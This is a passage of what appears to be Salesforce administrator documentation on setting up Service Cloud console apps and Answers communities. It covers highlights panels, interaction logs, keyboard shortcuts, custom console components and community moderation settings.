The highlights panel is a table of up to four columns at the top of every primary tab in a Service Cloud console. It lets console users view key information at a glance. Each of its columns has one or two fields that you can customize to suit your business needs. The highlights panel displays standard and custom fields, and columns. The following formatting rules apply: Standard and custom fields Fields must also be on the detail page layout Fields can appear once per highlights panel Columnsminimum one, maximum four. Column widths resize automatically. Fields per columnone or two, in top or bottom positions. When users see the highlights panel: Top fields appear in bold and in a larger font than bottom fields. Blank fields appear as follows: Top fieldsappear blank (except when top fields are blank because users don't have permission to view them). Bottom fieldsthe top field expands to fill the column Both fieldsthe column appears blank

Users see only the fields that they have permission to view. If users can't see:

1576

Customize

Setting Up a Service Cloud Console

Top fieldsthe bottom field replaces the top field and expands to fill the column Bottom fieldsthe top field expands to fill the column Any fields in a columnthe column is removed

Turning Off Highlights Panels


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To customize page layouts: To view page layouts: Customize Application View Setup

The highlights panel is a table of up to four columns at the top of every primary tab in a Service Cloud console. It lets console users view key information at a glance. Each of its columns has one or two fields that you can customize to suit your business needs. To maximize screen space, you can turn off a highlights panel: 1. Edit any page layout and click Layout Properties. 2. Deselect Highlights Panel, and click OK. 3. Click Save.

See Also:
Customizing Highlights Panels for a Service Cloud Console Setting Up a Service Cloud Console Customizing Page Layouts

Creating a Service Cloud Console App


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To view apps: To manage apps: View Setup and Configuration Customize Application

Watch a Demo (1:30 minutes)

1577

Customize

Setting Up a Service Cloud Console

You create a Service Cloud console as a custom app that users select from the Force.com app menu. The number of Service Cloud console apps you can create is based on your custom app limits. 1. 2. 3. 4. Click Your Name > Setup > Create > Apps. Click New. Select Service Cloud console and click Next. Specify a label for the app. The label can have a maximum of 40 characters, including spaces. This label is the app's name in the Force.com app menu. 5. Optionally, enter a description of the app. 6. Click Next. 7. Optionally, specify a custom logo for the app. Click Insert an image to choose an image file from the document library. Consider these requirements when choosing a custom app logo from the document library: The image must be in GIF or JPEG format and less than 20 KB in size. If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit. For the best on-screen display, we recommend you use an image with a transparent background. The Externally Available checkbox must be selected on the document's properties so that users can view the image.

8. Click Next. 9. Select the items to include in the navigation tab. For example, if you want users to choose accounts from the navigation tab, move Accounts from Available Navigation Tab Items to Selected Navigation Tab Items. Click the left and right arrow buttons to add or remove items. Click the up and down arrow buttons to define the order in which items display on the navigation tab when it's clicked. Note: You can't add the following to the navigation tab: forecasts, ideas, answers, connections, portals, console, home, activities (tasks and events), or buttons for customizing your organization. You can add Google AdWords to the navigation tab, but it might not display correctly in the console. Tab visibility settings, and the Overwrite users' personal tab customizations setting, don't apply to the navigation tab. For example, users can access Accounts from the navigation tab even if Accounts are Tab Hidden on user profiles.

10. Click Next. 11. Choose how items display in the console when they're not selected from a primary tab or subtabs. For example, when users select cases from list views, search results, or screen pops, you can choose whether cases display as primary tabs or as subtabs on parent records. Next to an object, click:
As a primary tab to display the object's records as primary tabs. As a subtab of to display the object's records as subtabs. From the drop-down list, choose the parent record where

the subtabs will appear. For example, if you want cases to appear as subtabs on contacts, select Contact Name (Contact) in the Cases row. If parent records don't apply, subtabs appear as primary tabs. For example, if you make campaigns a subtab of leads but a lead doesn't belong to a campaign, that campaign appears as a primary tab. 12. Click Next.

1578

Customize

Setting Up a Service Cloud Console

13. Optionally, if your organization has Live Agent enabled, select Include Live Agent in this App to enable a chat workspace for Live Agent users in the console. After you select this checkbox, you can: Choose records or pages to open as subtabs of chat sessions. Select Include Suggested Articles from Salesforce Knowledge in Live Agent to display the articles tool in the chat workspace.

14. Click Next. 15. Assign the Service Cloud console to user profiles: a. Check the Visible box to choose the user profiles for which the app will be available. b. Check the Default box to set the app as that profiles default app. This means that new users who have the profile will see this app when they log in for the first time. Profiles with limits are excluded from this list. 16. Click Save. Tip: You must refresh your browser to see any setup changes to a Service Cloud console.

See Also:
Setting Up a Service Cloud Console Service Cloud Console Overview What is an App?

Setting Up Interaction Logs for a Service Cloud Console


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To set up interaction logs: Customize Application

An interaction log lets Service Cloud console users write notes on records that appear on primary tabs. You can create multiple interaction logs and customize them to display specific task fields for different users to update. 1. 2. 3. 4. Click Your Name > Setup > Create > Interaction Log Layouts. Click New. Name the interaction log. Select task fields to add to the interaction log and click Add. * indicates required fields. You can only add editable task fields to interaction logs. The Enter your notes here... field is automatically added to all interaction logs; you can't remove it.

5. If you want this interaction log to be the default for all users, select Set as default layout.

1579

Customize

Setting Up a Service Cloud Console

You can't delete a default interaction log; you must first mark another interaction log as the default for your organization. 6. Click Save. After you set up or customize interaction logs, you can assign them to different user profiles. Tip: You can create custom fields for tasks and add them to interaction logs. For example, you can create a Caller Disposition picklist with values of Angry, Neutral, and Satisfied.

See Also:
Setting Up a Service Cloud Console Assigning Interaction Logs

Assigning Interaction Logs


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To assign interaction logs: Customize Application

An interaction log lets Service Cloud console users write notes on records that appear on primary tabs. After you set up or customize interaction logs, you can assign them to different user profiles. 1. 2. 3. 4. Click Your Name > Setup > Create > Interaction Log Layouts. Click Log Layout Assignment. Choose an interaction log to assign to each user profile. Click Save. Note: You can't assign interaction logs to portal user profiles because Service Cloud console apps arent available to portal users.

See Also:
Setting Up Interaction Logs for a Service Cloud Console Turning Off Interaction Logs Setting Up a Service Cloud Console

1580

Customize

Setting Up a Service Cloud Console

Turning Off Interaction Logs


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To turn off interaction logs: Customize Application

An interaction log lets Service Cloud console users write notes on records that appear on primary tabs. To maximize screen space, you can turn off interaction logs on page layouts assigned to different user profiles. 1. For standard objects, click Your Name > Setup > Customize > Object > Page Layouts. For custom objects, click Your Name > Setup > Create > Objects, then choose the object. 2. 3. 4. 5. Click Edit next to a page layout. Click Layout Properties. Deselect Interaction Log and click OK. Click Save. Note: If you turn on or off interaction logs, you must close and reopen records to see the changes.

See Also:
Assigning Interaction Logs Setting Up Interaction Logs for a Service Cloud Console Setting Up a Service Cloud Console

Choosing How Lists Display in a Service Cloud Console


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To choose how lists display: Customize Application

In a Service Cloud console, you can display lists in one of three ways:

1581

Customize

Setting Up a Service Cloud Console

List Type
Full screen, unpinned

Description Lists are visible only when the navigation tab is selected. When you select a record from the list, it opens in a new tab. Lists appear at the top of the page and are always visible. When you select a record from the list, it opens in a new tab below the list. Lists appear on the left side of the page and are always visible. When you select a record from the list, it opens in a new tab to the right of the list.

Pinned to top

Pinned to left

To change how lists display: 1. 2. 3. 4. Click Your Name > Setup > Create > Apps. Select a Service Cloud console app. Click Edit. Choose how you want lists to display. If you choose pinned lists, specify a default size, in pixels or percentage of screen space. 5. Click Save. Note: If a user hasn't yet selected a record from a list, the list automatically displays full screen.

See Also:
Resizing and Minimizing Pinned Lists in a Service Cloud Console

Whitelisting Domains for a Service Cloud Console


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To whitelist domains for a Service Cloud console: Customize Application

You can allow users to access domains outside of Salesforce from within a Service Cloud console. For example, you can add www.example.com to a consoles whitelist so that console users can access that domain. 1. 2. 3. 4. Click Your Name > Setup > Create > Apps. Select a Service Cloud console app. Click Edit. In Whitelist Domains, type the domains you want users to access, and separate multiple domains by commas. You dont need to enter http:// or https:// because those are part of a URL, not a domain.

1582

Customize

Setting Up a Service Cloud Console

5. Click Save.

See Also:
Setting Up a Service Cloud Console

Customizing Push Notifications for a Service Cloud Console


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To customize push notifications: Customize Application

Push notifications are visual indicators on lists and detail pages in a Service Cloud console that show when a record or field has changed during a users session. For example, if two support agents are working on the same case and one agent changes the Priority, a push notification displays to the other agent so he or she notices the change and doesnt duplicate the effort. To choose when push notifications display and which objects and fields are trigger push notifications: 1. 2. 3. 4. Click Your Name > Setup > Create > Apps. Select a Service Cloud console app. Click Edit. In Choose How Lists Refresh, select when push notifications occur: Option None Refresh List Description Lists dont refresh. Push notifications dont occur. The entire list refreshes when there are any changes to it. Records are added to or removed from the list based on the lists criteria. Rows in the list refresh when there are any changes to fields specified for push notifications.

Refresh List Rows

5. In Choose How Detail Pages Refresh, select when push notifications occur: Option Do Not Refresh Automatically Refresh Flag Description Detail pages dont refresh. Push notifications dont occur. The detail page automatically refreshes when a record is changed. A message appears on the detail page when a record is changed.

1583

Customize

Setting Up a Service Cloud Console

6. Click Select objects and fields for notifications. 7. Click Edit. 8. Select the objects you want to trigger push notifications. For example, if you want changes to cases and case fields to trigger push notifications, move Cases from Available Items to Selected Items. 9. Under Fields, click Edit to select the object fields you want to trigger push notifications. 10. Click OK. 11. Click Save. Note: The following objects and their fields are available for push notifications: Custom objects Cases Accounts Contacts Leads Campaigns Opportunities

See Also:
Setting Up a Service Cloud Console

Customizing Keyboard Shortcuts for a Service Cloud Console


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To customize keyboard shortcuts for a Service Cloud console: Customize Application

Keyboard shortcuts let users perform actions by pressing a combination of keys instead of having to use a mouse. Keyboard shortcuts can make working with a Service Cloud console more efficient. For example, instead of typing case details and then using a mouse to click Save, you can create a keyboard shortcut so that users can type case details and press CTRL+S. Once you enable keyboard shortcuts for a console, several default shortcuts are available for customization, such as opening and closing tabs, moving between tabs, and saving records. Before you can create custom shortcuts, a developer must define the shortcuts action with the addEventListener() method in the Service Cloud Console Integration Toolkit. You cant create keyboard shortcuts for actions performed outside of the console. To enable and customize keyboard shortcuts: 1. 2. 3. 4. 5. Click Your Name > Setup > Create > Apps. Click Edit next to a Service Cloud console app. Click Customize keyboard shortcuts. Click Edit on the top of the page. Select Enable keyboard shortcuts.

1584

Customize

Setting Up a Service Cloud Console

6. Edit an existing keyboard shortcut or create a new one: To edit a shortcut, click Edit next to the shortcut, type the combination of key commands to use, and click OK. To create a shortcut, click +Add Keyboard Shortcut, type the action the shortcut will perform, a Console Event Name, which is a unique identifier, the combination of key commands to use, and click OK. For the new shortcut to work, you must send the Console Event Name to the developer who defined your shortcuts action so that he or she can add it to the method that will trigger your shortcut. To deactivate a shortcut, deselect Active next to the shortcuts name. You cant delete the default shortcuts provided by Salesforce, but you can edit or deactivate them.

7. Click Save. After youve customized keyboard shortcuts for a console, notify users assigned to that console about the actions they can perform. Note: You can have up to 144 shortcuts for each console, which includes the default shortcuts provided by Salesforce and any you create. Keyboard shortcuts arent case sensitive, even if you press SHIFT before a letter key. For example, SHIFT+b is the same as SHIFT+B. If CTRL, ALT, or SHIFT is in a keyboard shortcut, the sequence of those keys doesnt matter. For example, CTRL+ALT+A is the same as ALT+CTRL+A. If you create or customize keyboard shortcuts to include standard browser shortcuts, such as CTRL+F, your shortcuts might not work as intended.

Tip: You can include as many keys in a shortcut as you want, but we recommend that you limit a shortcut to three keys so that users can easily remember it.

See Also:
Setting Up a Service Cloud Console Default Keyboard Shortcuts for a Service Cloud Console Working with Keyboard Shortcuts in a Service Cloud Console Custom Console Components Overview Service Cloud Console Integration Toolkit Developer's Guide

Default Keyboard Shortcuts for a Service Cloud Console


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

After an administrator enables keyboard shortcuts for a Service Cloud console, the following shortcuts display automatically and are available for customizing.

1585

Customize

Setting Up a Service Cloud Console

Action (Keyboard Shortcut) Description

Key Command

Focus keyboard shortcuts on Activates keyboard shortcuts in a browser displaying a Service ESC the console Cloud console. Go to the navigation tab Go to tab details Go to the primary tabs Go to the subtabs Go to list view Selects the navigation tab. Selects details on a tab. Selects the row of primary tabs. Selects the row of subtabs on a primary tab. Selects the list view. V SHIFT+S P S N SHIFT+F R LEFT ARROW RIGHT ARROW UP ARROW DOWN ARROW D T C ENTER E

Go to the first list view item Selects the first item on the list view. Go to header search box Move left Move right Move up Move down Moves the cursor to the header search box. Moves the cursor left. Moves the cursor right. Moves the cursor up. Moves the cursor down.

Open drop-down button on Opens the drop-down button on tabs to select more actions. tabs Open tab Close tab Enter Edit Opens a new tab. Closes a selected tab. Activates a command. Switch from detail to edit page.

See Also:
Customizing Keyboard Shortcuts for a Service Cloud Console

Turning on the Knowledge Sidebar for a Service Cloud Console


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To turn on the Knowledge sidebar: Customize Application

If Salesforce Knowledge is set up, you can turn on the Knowledge sidebar so that when console users work on a case, titles of articles that might solve the case display automatically. Articles display based on any matching words typed in the cases Subject.

1586

Customize

Setting Up a Service Cloud Console

1. 2. 3. 4. 5.

Click Your Name > Setup > Customize > Cases > Page Layouts. Click Edit next to a page layout. Click Layout Properties. Check Knowledge Sidebar, and click OK. Click Save.

Repeat these steps for each case page layout assigned to console users.

See Also:
Setting Up a Service Cloud Console Setting Up Salesforce Knowledge Managing Page Layouts

Saving User Sessions for a Service Cloud Console


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To save user sessions for a Service Cloud console: Customize Application

If a Service Cloud console is set up, you can choose to save user sessions so that when console users close their browsers or log out of Salesforce, any previously open navigator tabs, primary tabs, or subtabs automatically display when they log in again. Additionally, if console users resize an interaction log or any sidebar components, such as pinned lists; or they close the global search header, those customizations automatically display when users log in again. This helps users to continue working from where they last left off in a console without having to start from scratch. 1. 2. 3. 4. 5. Click Your Name > Setup > Create > Apps. Select a Service Cloud console app. Click Edit. Click Save User Sessions. Click Save.

Repeat these steps for each console.

See Also:
Setting Up a Service Cloud Console

1587

Customize

Custom Console Components Overview

Assigning the Service Cloud Feature License to Users


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To assign the Service Cloud User feature license to users: Manage Users

The Service Cloud User feature license entitles users to additional Salesforce features, such as the Service Cloud console. To assign the license to a user: 1. 2. 3. 4. Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name. Select Service Cloud User. Click Save.

See Also:
Setting Up a Service Cloud Console Viewing Feature Licenses

Custom Console Components Overview


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

Custom console components let you customize, extend, or integrate the footer, sidebars, highlights panels, and interaction logs of a Service Cloud console using Visualforce. Visualforce uses a tag-based markup language to give developers a more powerful way to build applications and customize the Salesforce user interface. For example, you might want to create custom console components that display: Third-party apps or data Custom highlights panels or interaction logs Chat or Softphone widgets The location of contacts on Google maps Messages from marquees New cases on accounts or contacts The next milestones on cases Registered products on accounts or contacts Similar cases on each case

1588

Customize

Custom Console Components Overview

You can use the Service Cloud Console Integration Toolkit to build custom console components. The toolkit is an API that uses browsers as clients to display pages as tabs or widgets in console apps. It provides you with programmatic access to console apps so that you can extend them to meet your business needs. For example, you can use the toolkit to open and close tabs in a console to streamline a business process. In addition to this, custom console components can display: Content in sidebars, highlights panels, and interaction logs, instead of tabs Content when users click a customizable button in the footer Information without users having to click a button or link Content when users view specific pages Contextual information alongside records Small amounts of information on pages

For more information (English only) about the toolkit, see the Service Cloud Console Integration Toolkit Developer's Guide. Creating a custom console component typically involves these steps: 1. Developers create a Visualforce page. 2. Administrators add the Visualforce page to either: Page layouts to display content on specific pages or Service Cloud console apps to display content across all pages and tabs

3. Administrators determine the width and location of the component in the console. 4. Administrators who add a component to apps: Specify the look and feel of the button used to access the component from the footer Assign the component to each console where they want users to access it

5. Users view the component when they access page layouts or click a button in the footer of a console.

See Also:
Custom Console Components Implementation Tips Setting Up a Service Cloud Console Adding Custom Console Components Defining Visualforce Pages

1589

Customize

Custom Console Components Overview

Adding Custom Console Components


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To add custom console components: To create Visualforce pages: Customize Application Customize Application

After you create a custom console component (Visualforce page), you can add it to page layouts or Service Cloud console apps. Add a component to page layouts if you want users to access your component from the sidebars of specific pages, such as cases or accounts. Add your component to an app if you want users to access your component from a button on the footer of any page or tab, such as a chat or SoftPhone widget, which is useful from any location. Adding Custom Console Components to Page Layouts Adding Custom Console Components to Apps

See Also:
Custom Console Components Implementation Tips Custom Console Components Overview Setting Up a Service Cloud Console Defining Visualforce Pages

Adding Custom Console Components to Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To add custom console components: To create Visualforce pages: Customize Application Customize Application

After you create a custom console component (Visualforce page), you can add it to page layouts so that users can access it from a sidebar in a Service Cloud console. 1. For standard objects, click Your Name > Setup > Customize > Object > Page Layouts. For custom objects, click Your Name > Setup > Create > Objects, then choose the object. 2. Click Edit next to a page layout. 3. Click Custom Console Components. 4. Next to the sidebar in which you want to add your component, type the name of the Visualforce page, or click and select the Visualforce page. to find

1590

Customize

Custom Console Components Overview

5. Enter the height or width of the component as it should display in a console. 6. Click Save.

See Also:
Adding Custom Console Components to Apps Custom Console Components Overview

Adding Custom Console Components to Apps


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To add custom console components: To create Visualforce pages: Customize Application Customize Application

After you create a custom console component (Visualforce page), you can add it as a button in the footer of Service Cloud console apps for user access. 1. 2. 3. 4. Click Your Name > Setup > Customize > Service Cloud Console > Custom Console Components. Click New. Type a name for your component. Click Hide to hide your component from console users. Hidden components dont display to console users, but they can still function in the background. 5. In Button Name, type the label that will display on the button users click to launch your component. For example, Live Chat. 6. In Button CSS, enter the in-line style used to define how the button looks to users who click it to launch your component. 7. Enter the width of the button as it should display in the console. 8. In Visualforce Page, type the name of your component, or click to find and select it. 9. Enter the height and width of the window used to display your component in the console. 10. Click Fixed Width or Fixed Height to prevent users from changing the dimensions of the window used to display your component. 11. Click Save. Before users can access your component, you must assign it to each console where you want users to access it. See Assigning a Custom Console Component to an App on page 1592.

See Also:
Adding Custom Console Components to Page Layouts Custom Console Components Overview

1591

Customize

Custom Console Components Overview

Assigning a Custom Console Component to an App


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To assign custom console components to an app: Customize Application

After you add a custom console component to Service Cloud console apps, you must assign it to each console where you want users to access it. 1. 2. 3. 4. 5. Click Your Name > Setup > Create > Apps. Select a Service Cloud console app. Click Edit. In Choose Custom Console Components, add any available components to your app. Click Save.

See Also:
Adding Custom Console Components to Apps

Custom Console Components Implementation Tips


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

Only users assigned to the Service Cloud User feature license can add custom console components to page layouts. See Viewing Feature Licenses on page 618. Custom console components don't refresh automatically when users update records on primary tabs or subtabs. You can't delete Visualforce pages that are assigned to page layouts as custom console components. You can use a Visualforce page as a component once for each page layout. You can add a Visualforce page as a component to the Top Sidebar or Bottom Sidebar of primary tabs after you turn off the highlights panel or interaction log on the appropriate page layouts. Unlike other Visualforce pages, you don't have to set the standard controller on custom console components to the object whose page layout you're customizing. Two URL parameter values are passed automatically to Visualforce pages used as custom console components: Parameter Name
id

Parameter Value A case-sensitive 15-character alphanumeric string that uniquely identifies a record.

Description The ID of the detail page in which the component displays. This parameter is only passed if the ID is available.

1592

Setting Up Answers

Setting Up Answers

Parameter Name
inContextPane

Parameter Value
true

Description Indicates the Visualforce page displays as a component in a Service Cloud console.

If you want a custom console component to display across all of the subtabs in a primary tab, we recommend that you add the component to the Primary Tab Components section on page layouts. Adding a component to the Subtab Components section on page layouts displays the component on individual subtabs. If Salesforce Knowledge is enabled and the Knowledge sidebar is turned on, we recommend that you don't add a custom console component to the Right Sidebar of a console on case page layouts. This is because the Knowledge sidebar automatically displays over components in such cases. If you change the Height or Width of a custom console component, we recommend that you refresh your browser before you view your updates. If you add showHeader=true to a Visualforce page, you can add a 15pixel gap to the right and left sides of a custom console component to visually indicate its location in a sidebar. For example, <apex:page standardController="Contact" showHeader="false" title="List of Cases">.

See Also:
Custom Console Components Overview Adding Custom Console Components

SETTING UP ANSWERS
Setting Up Answers
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize answers settings: Customize Application

To set up answers: 1. Enable answers and set the default community. 2. Create a category group for answers and add data categories to the category group. Note: Even though you can create up to five hierarchy levels of categories in a category group, only the first level of categories is supported in your answers community. Child categories below the first level are not displayed in the community, and community members can't assign these child categories to questions.

1593

Customize

Setting Up Answers

3. Assign the data categories to your answers community. 4. Review the category group visibility settings to decide how you want to restrict access to categories and categorized questions in the answers community. 5. Using roles, permission sets, or profiles: a. Customize data category group visibility. b. (Optional) Designate default category group visibility for users without visibility through roles, permission sets, or profiles. 6. (Optional) To allow community members who work with cases to escalate an unanswered or problematic question to a new case: a. On the Your Name > Setup > Customize > Cases > Page Layouts page, edit the case page layouts to include the Question field. b. On the Your Name > Setup > Customize > Cases > Fields page, ensure that field-level security for the Question field makes the field visible in the necessary profiles. Only community members who have permission to create cases will see an Escalate to Case option on questions. 7. (Optional) If your organization uses Salesforce Knowledge, users can convert particularly helpful replies into articles in the knowledge base. Click Your Name > Setup > Customize > Knowledge > Settings and ensure that Allow users to create an article from a reply is checked. 8. (Optional) Create validation rules for questions and replies to prevent offensive language from being posted to the answers community. To create validation rules, click Your Name > Setup > Customize > Answers > Question > Validation Rules and Your Name > Setup > Customize > Answers > Reply > Validation Rules. Refer to Community Validation Rules on page 1215 for sample rules. 9. (Optional) Create workflow rules for questions. For example, you may want to create a workflow rule that sends the community administrator an email whenever a question has ten or more replies but no best answer. Questions do not support approval processes or workflow tasks. 10. (Optional) Create reports for your answers community. 11. (Optional) Enable answers in your Customer Portal or enable answers in your partner portal. Tip: Any custom fields you create for questions or replies cant display in the Salesforce user interface. However, you can add custom fields to questions or replies for API integration purposes. For example, add a custom text field to questions and use the API to populate that text field with the name of the country from which each question is posted. For more information, see Customizing Fields on page 1075 and Which API Should I Use? on page 2176.

See Also:
Answers Overview Salesforce Answers Implementation Guide

1594

Customize

Enabling Answers and Assigning the Default Community

Enabling Answers and Assigning the Default Community


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize answers settings: Customize Application

Answers is a feature of the Community application that enables users to ask questions and have community members post replies. Community members can then vote on the helpfulness of each reply, and the person who asked the question can mark one reply as the best answer. To enable the answers feature: 1. Click Your Name > Setup > Customize > Answers > Settings. 2. Click Edit. 3. Use the Enable Answers checkbox to enable answers. Enabling answers adds the Answers tab to the Community application and creates a community named Internal Community. 4. Select the default community for the Answers tab. You can only display one answers community at a time. You can either use Internal Community as the default or create a new community and use it as the default. 5. Click Save.

See Also:
Answers Overview Creating and Editing Communities Salesforce Answers Implementation Guide

Creating and Editing Communities


Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions Answers communities available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit a community: Customize Application

To create a new community or edit the details of an existing community: 1. Click either:
Your Name > Setup > Customize > Ideas > Communities

1595

Customize

Creating and Editing Communities

Your Name > Setup > Customize > Answers > Communities Your Name > Setup > Customize > Chatter Answers > Communities

Communities are shared by the ideas, answers, and Chatter Answers features, allowing you to view and create communities from those locations. Because Chatter Answers integrates several Salesforce features, there are separate instructions for creating and editing its communities. See Configuring a Chatter Answers Community on page 1618. 2. Click Edit next to the community you want to change or New to create a new community. 3. Enter a unique name for your community. This name displays to all community members so use a name that clearly identifies the community's purpose. For ideas, if you have more than one community, the community whose name comes first in the alphabet is the community that is displayed when users first visit the Ideas tab. For example, if you're a computer manufacturer and have a community named Laptop Products and another named Desktop Products, the Desktop Products community appears first when users go to the Ideas tab. Answers can only have one community displayed at a time. 4. Optionally, enter a description in plain text. HTML and other markup languages are not supported. 5. Select the Active checkbox to display the community to your ideas and answers users. You can't delete communities, so if you need to hide a community, make sure Active isn't selected. All active communities are automatically available from the Ideas tab (if ideas is enabled), but you can only assign one active community to answers. To make a community available from answers, enable answers and assign the default community. 6. To add a group of experts to this community, select a public group from the Experts Group drop-down list. For information on creating public groups, see Creating and Editing Groups on page 598. Note: Expert groups are only supported in Ideas. Answers doesn't support this feature.

7. Use the Portal drop-down list to specify in which portal you want this community displayed. If you only want this community displayed to internal Salesforce users and not to Customer Portal or partner portal users, select Do Not Display in Portal. To make an ideas community publicly available, you must select the Customer Portal that you plan to expose publicly using Force.com sites. Answers communities do not support Force.com sites. When you display a community in a portal, (External) is appended to the community name. Communities that aren't displayed in a portal have (Internal) appended to the name. For example, Laptop Products Community (External). 8. Click Save. Community Expert Overview A community expert is a member of the community who speaks credibly and authoritatively on behalf of your organization. When a community expert posts a comment or idea, a unique icon ( ) displays next to his or her name so other community members can easily identify credible information within the community. The Salesforce administrator can designate as many community experts as necessary. Before you select a public group to be community experts, note the following: A community expert can be an employee of your organization who is responsible for providing official responses to the community, or a community expert can be someone outside your organization who is active within the community and knowledgeable about the subject matter. The only difference between a community expert and other community members is the unique icon that displays next to the community expert's name. Community experts do not have any extra permissions beyond what is specified in their user profile and permission sets.

1596

Customize

Assigning Data Categories to Answers

Community experts must be part of a public group and that public group must be specified in the Experts Group drop-down list. You may need to create a public group for each community if the experts within those communities are different. If a community is displayed in a Customer Portal or partner portal, you can use a cascading style sheet (CSS) to change the icon associated with the community expert. When creating a new portal, specify your CSS in the Header of your portal and use the expertUserBadge class to reference the new background image for the community expert. We recommend the community expert icon be no larger than 16 by 16 pixels. For more information, see Creating Partner Portals on page 3679 and Enabling Customer Portal Login and Settings on page 1758.

See Also:
Selecting Picklist Values and Defaults for a Community Communities Home Enabling Ideas in the Customer Portal Force.com Sites Overview Administrator setup guide: Salesforce Ideas Implementation Guide

Assigning Data Categories to Answers


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize answers settings: Customize Application

In an answers community, a category group provides one or more categories that help organize questions for easy browsing. If the category group contains a hierarchy, only the first-level categories display on the Answers tab. For example, if you're a computer manufacturer you might create a Products category group for your Products community that has four categories: Performance Laptops, Portable Laptops, Gaming Desktops, and Enterprise Desktops. Community members can choose one of the categories to assign to a question. The following example shows how the categories within a category group appear on the Answers tab.

1597

Customize

Assigning Data Categories to Answers

Figure 9: Answers tab displaying categories 1. The community assigned to answers. 2. When you assign a category group to answers, the data categories within the group appear beneath the community name on the Answers tab. Community members can assign these categories to their questions and browse within categories to see related questions. The name of the category group isn't displayed within the answers community. The name of the category group is not displayed in the answers community; however, all the categories within the group appear below the community name on the Answers tab. To assign a category group to answers: 1. Create a category group for answers and add data categories to the category group. We recommend naming the category group the same as the answers community so other administrators understand where the category group is being used. Note: Even though you can create up to five hierarchy levels of categories in a category group, only the first level of categories is supported in your answers community. Child categories below the first level are not displayed in the community, and community members can't assign these child categories to questions. 2. Go to Your Name > Setup > Customize > Answers > Data Category Assignments. The category group assignments page only displays after you enable answers. 3. Click Edit. 4. Select the category group you want to assign to your answers community. Note: If you change the category group for answers later, all the existing categories associated with your questions are removed. The questions in your answers community become uncategorized until community members assign the new categories to them. 5. Click Save.

1598

Customize

Editing and Deleting a Reply

You receive an email after the save process completes.

See Also:
Answers Overview What are Data Categories? About Category Group Visibility

Editing and Deleting a Reply


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit replies: To delete replies: Edit on questions Delete on questions

Standard users without the edit and delete permissions on the answers object cannot edit or delete their replies. However, as the Salesforce administrator, you can edit or delete any reply posted to a community. For example, you may want to monitor your answers community and edit or delete replies that contain inappropriate content or offensive language. To edit or delete a reply: 1. Click the question title to view a list of all replies for the question. 2. Click Edit or Delete next to the reply you want to change or remove. When deleting a reply, the reply goes to the Recycle Bin. Another way to prevent offensive language is to create a validation rule that prevents users from entering specific words when posting a reply. To create validation rules, click Your Name > Setup > Customize > Answers > Question > Validation Rules and Your Name > Setup > Customize > Answers > Reply > Validation Rules. Refer to Community Validation Rules on page 1215 for sample rules.

See Also:
Answers Overview Using Answers Replying to a Question

1599

Customize

Editing and Deleting a Question

Editing and Deleting a Question


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit any question: To delete any question: Edit on questions Delete on questions

Standard users can delete their own questions if the questions have not received replies. Once a question receives a reply, the owner of the question can no longer delete it. As the Salesforce administrator, you can edit or delete any question posted to a community. For example, you may want to monitor your answers community and edit or delete questions that contain inappropriate content or offensive language. To edit or delete a question: 1. Click the question title to view the question detail page. 2. Click Edit or Delete at the top of the page. When editing a question, you can change the title or description and select a different category for the question. When deleting a question, the question (and all associated replies) goes to the Recycle Bin. Another way to prevent offensive language is to create a validation rule that prevents users from entering specific words when asking a question. To create validation rules, click Your Name > Setup > Customize > Answers > Question > Validation Rules and Your Name > Setup > Customize > Answers > Reply > Validation Rules. Refer to Community Validation Rules on page 1215 for sample rules.

See Also:
Answers Overview Using Answers Asking a Question

1600

Customize

Setting Up Reports for Answers

Setting Up Reports for Answers


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or update custom report types: To delete custom report types: Manage Custom Report Types Modify All Data

As an administrator, you can create custom report types so users can run and create custom reports about questions, replies, and votes. Custom report types are the only way to make reports about your answers community available for your usersSalesforce does not provide sample answers reports or a standard report folder for answers. To create a folder of answers reports for your users: 1. Set up a custom report type for answers. The primary object for your report is Questions. There isn't a specific report category for answers, so you probably want to store your report in the Other Reports or Administrative Reports category. When setting up object relationships, Questions can have a relationship with Replies, and Replies can have a relationship with Votes.

2. Create a new public folder for answers reports. This step requires the Manage Public Reports permission. 3. Using your custom report type, create one or more new custom reports for answers. Assign the reports to the new answers reports folder you created. After completing these steps, a folder of answers reports is available to your users on the Reports home page.

See Also:
Answers Overview

1601

Setting Up Chatter Answers

Chatter Answers Implementation Overview

SETTING UP CHATTER ANSWERS


Chatter Answers Implementation Overview
Available in: Enterprise and Unlimited Editions

